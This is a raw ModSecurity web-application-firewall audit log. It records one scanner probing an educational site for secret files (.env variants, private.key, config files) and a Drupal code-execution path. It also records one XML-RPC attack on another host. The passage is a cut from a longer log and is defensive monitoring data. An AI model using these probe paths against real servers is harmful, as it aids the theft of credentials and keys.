proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036198382071 674916 (- - -) Stopwatch2: 1750036198382071 674916; combined=2091, p1=474, p2=1513, p3=0, p4=0, p5=103, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --213aa602-Z-- --5e47262a-A-- [16/Jun/2025:06:40:17.962610 +0530] aE9u-dNEcm-DhAkC0ibhIwAAAAY 185.177.72.210 53078 127.0.0.1 7081 --5e47262a-B-- GET /routes/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5e47262a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=235ce29d5d2fbd6b9a0629129d3a240e1750036217; expires=Mon, 16 Jun 2025 02:10:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5e47262a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/routes/.env"] [unique_id "aE9u-dNEcm-DhAkC0ibhIwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036217276296 686376 (- - -) Stopwatch2: 1750036217276296 686376; combined=1691, p1=391, p2=1205, p3=0, p4=0, p5=94, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5e47262a-Z-- --68cfd441-A-- [16/Jun/2025:06:40:23.115152 +0530] aE9u_pLRu31pT8F-J2ZQ7AAAAAc 185.177.72.210 37026 127.0.0.1 7081 --68cfd441-B-- GET /:8880/en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --68cfd441-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2a225d9b21eeeae7fb906cb49f8933621750036222; expires=Mon, 16 Jun 2025 02:10:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --68cfd441-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/en/.env"] [unique_id "aE9u_pLRu31pT8F-J2ZQ7AAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036222451951 663266 (- - -) Stopwatch2: 1750036222451951 663266; combined=1900, p1=394, p2=1395, p3=0, p4=0, p5=110, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --68cfd441-Z-- --dd4cb814-A-- [16/Jun/2025:06:40:25.171700 +0530] aE9vAA9THibLN0xLxET1AQAAAAk 185.177.72.210 37116 127.0.0.1 7081 --dd4cb814-B-- GET /private.key HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dd4cb814-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3be2031f249b411a037733674f0326d81750036225; expires=Mon, 16 Jun 2025 02:10:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dd4cb814-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/private.key"] [unique_id "aE9vAA9THibLN0xLxET1AQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036224468315 703462 (- - -) Stopwatch2: 1750036224468315 703462; combined=1738, p1=286, p2=1350, p3=0, p4=0, p5=102, sr=80, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dd4cb814-Z-- --7520b512-A-- [16/Jun/2025:06:40:27.029267 +0530] aE9vAroFnONBt7jRcByR_AAAAA4 128.199.112.101 37164 127.0.0.1 7081 --7520b512-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7520b512-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7520b512-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9vAroFnONBt7jRcByR_AAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036226087759 941571 (- - -) Stopwatch2: 1750036226087759 941571; combined=2265, p1=353, p2=1413, p3=48, p4=62, p5=235, sr=92, sw=154, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7520b512-Z-- --b60d0052-A-- [16/Jun/2025:06:40:36.886489 +0530] aE9vDNNEcm-DhAkC0ibhLAAAAAY 185.177.72.210 44724 127.0.0.1 7081 --b60d0052-B-- GET /.env.travis HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b60d0052-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2aca027b7ea56749d3f64e3a386a510b1750036236; expires=Mon, 16 Jun 2025 02:10:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b60d0052-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.travis"] [unique_id "aE9vDNNEcm-DhAkC0ibhLAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036236202874 683720 (- - -) Stopwatch2: 1750036236202874 683720; combined=1963, p1=360, p2=1488, p3=0, p4=0, p5=115, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b60d0052-Z-- --2cb32534-A-- [16/Jun/2025:06:40:40.065518 +0530] aE9vD_v_9qNKLXJRkuZbngAAAAs 185.177.72.210 36162 127.0.0.1 7081 --2cb32534-B-- GET /node/1?_format=hal_json HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2cb32534-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b4d6bae64b8b987d023c736083446451750036239; expires=Mon, 16 Jun 2025 02:10:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2cb32534-H-- Message: Warning. Pattern match "^(?:get|head|options|trace)$" at REQUEST_METHOD. [file "/etc/apache2/modsecurity.d/rules/comodo_free/29_Apps_Drupal.conf"] [line "1237"] [id "232380"] [rev "1"] [msg "COMODO WAF: Arbitrary code execution vulnerability in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 (CVE-2019-6340)||www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Drupal"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "^(?:get|head|options|trace)$" at REQUEST_METHOD. [file "/etc/apache2/modsecurity.d/rules/comodo_free/29_Apps_Drupal.conf"] [line "1237"] [id "232380"] [rev "1"] [msg "COMODO WAF: Arbitrary code execution vulnerability in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 (CVE-2019-6340)||www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Drupal"] [hostname "www.mindscan.edu.in"] [uri "/node/1"] [unique_id "aE9vD_v_9qNKLXJRkuZbngAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036239416736 648860 (- - -) Stopwatch2: 1750036239416736 648860; combined=1855, p1=319, p2=1427, p3=0, p4=0, p5=109, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2cb32534-Z-- --adfeb932-A-- [16/Jun/2025:06:40:50.562831 +0530] aE9vGfvF1ly0gx5reNl_DgAAAAE 185.177.72.210 60892 127.0.0.1 7081 --adfeb932-B-- GET /:10000/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --adfeb932-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f0bb772dcee71fa34abba5f47fd24d211750036250; expires=Mon, 16 Jun 2025 02:10:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --adfeb932-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/konfig/.env"] [unique_id "aE9vGfvF1ly0gx5reNl_DgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036249846900 716024 (- - -) Stopwatch2: 1750036249846900 716024; combined=2030, p1=420, p2=1488, p3=0, p4=0, p5=122, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --adfeb932-Z-- --35158d12-A-- [16/Jun/2025:06:40:53.892668 +0530] aE9vHZLRu31pT8F-J2ZQ_wAAAAc 185.177.72.210 32830 127.0.0.1 7081 --35158d12-B-- GET /backup/.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --35158d12-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a99868df7786db99be43676a550a11b51750036253; expires=Mon, 16 Jun 2025 02:10:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --35158d12-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.env.old"] [unique_id "aE9vHZLRu31pT8F-J2ZQ_wAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup/.env.old"] [unique_id "aE9vHZLRu31pT8F-J2ZQ_wAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036253210435 682298 (- - -) Stopwatch2: 1750036253210435 682298; combined=2238, p1=426, p2=1677, p3=0, p4=0, p5=134, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --35158d12-Z-- --18430725-A-- [16/Jun/2025:06:41:09.298149 +0530] aE9vLA9THibLN0xLxET1GAAAAAk 185.177.72.210 41680 127.0.0.1 7081 --18430725-B-- GET /:10000/.env.dist HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --18430725-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d3b23228bb25d41b359aa8f265f0eafb1750036269; expires=Mon, 16 Jun 2025 02:11:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --18430725-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.dist"] [unique_id "aE9vLA9THibLN0xLxET1GAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036268530779 767434 (- - -) Stopwatch2: 1750036268530779 767434; combined=1925, p1=366, p2=1456, p3=0, p4=0, p5=103, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --18430725-Z-- --39133a5c-A-- [16/Jun/2025:06:41:13.450907 +0530] aE9vMJLRu31pT8F-J2ZRBwAAAAc 185.177.72.210 60970 127.0.0.1 7081 --39133a5c-B-- GET /:8181/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --39133a5c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bc48700859093f314dbf6fa873f8b2ff1750036273; expires=Mon, 16 Jun 2025 02:11:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --39133a5c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/app/configura/.env"] [unique_id "aE9vMJLRu31pT8F-J2ZRBwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036272673876 777119 (- - -) Stopwatch2: 1750036272673876 777119; combined=2542, p1=473, p2=1930, p3=0, p4=0, p5=138, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --39133a5c-Z-- --35ee7f00-A-- [16/Jun/2025:06:41:24.768503 +0530] aE9vPLoFnONBt7jRcBySEwAAAA4 185.177.72.210 47622 127.0.0.1 7081 --35ee7f00-B-- GET /:8443/journal/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --35ee7f00-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dd506d63a22790a3af8dde017053652e1750036284; expires=Mon, 16 Jun 2025 02:11:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --35ee7f00-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/journal/.env"] [unique_id "aE9vPLoFnONBt7jRcBySEwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036284081770 686817 (- - -) Stopwatch2: 1750036284081770 686817; combined=1797, p1=374, p2=1276, p3=0, p4=0, p5=147, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --35ee7f00-Z-- --48b46427-A-- [16/Jun/2025:06:41:25.824382 +0530] aE9vPQ9THibLN0xLxET1HwAAAAk 185.177.72.210 47664 127.0.0.1 7081 --48b46427-B-- GET /backendfinaltest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --48b46427-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c0dc2efe86da6a2f6a085b90a10019621750036285; expires=Mon, 16 Jun 2025 02:11:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --48b46427-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backendfinaltest/.env"] [unique_id "aE9vPQ9THibLN0xLxET1HwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036285085656 738804 (- - -) Stopwatch2: 1750036285085656 738804; combined=2102, p1=483, p2=1510, p3=0, p4=0, p5=109, sr=134, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --48b46427-Z-- --22d6711e-A-- [16/Jun/2025:06:41:26.816143 +0530] aE9vPvbo0R64L12N_alZuwAAAAQ 185.177.72.210 47712 127.0.0.1 7081 --22d6711e-B-- GET /.qmake.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --22d6711e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7e96d0c84b41fa505961dbfe30f56d7f1750036286; expires=Mon, 16 Jun 2025 02:11:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --22d6711e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".qmake.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".qmake.conf"] [severity 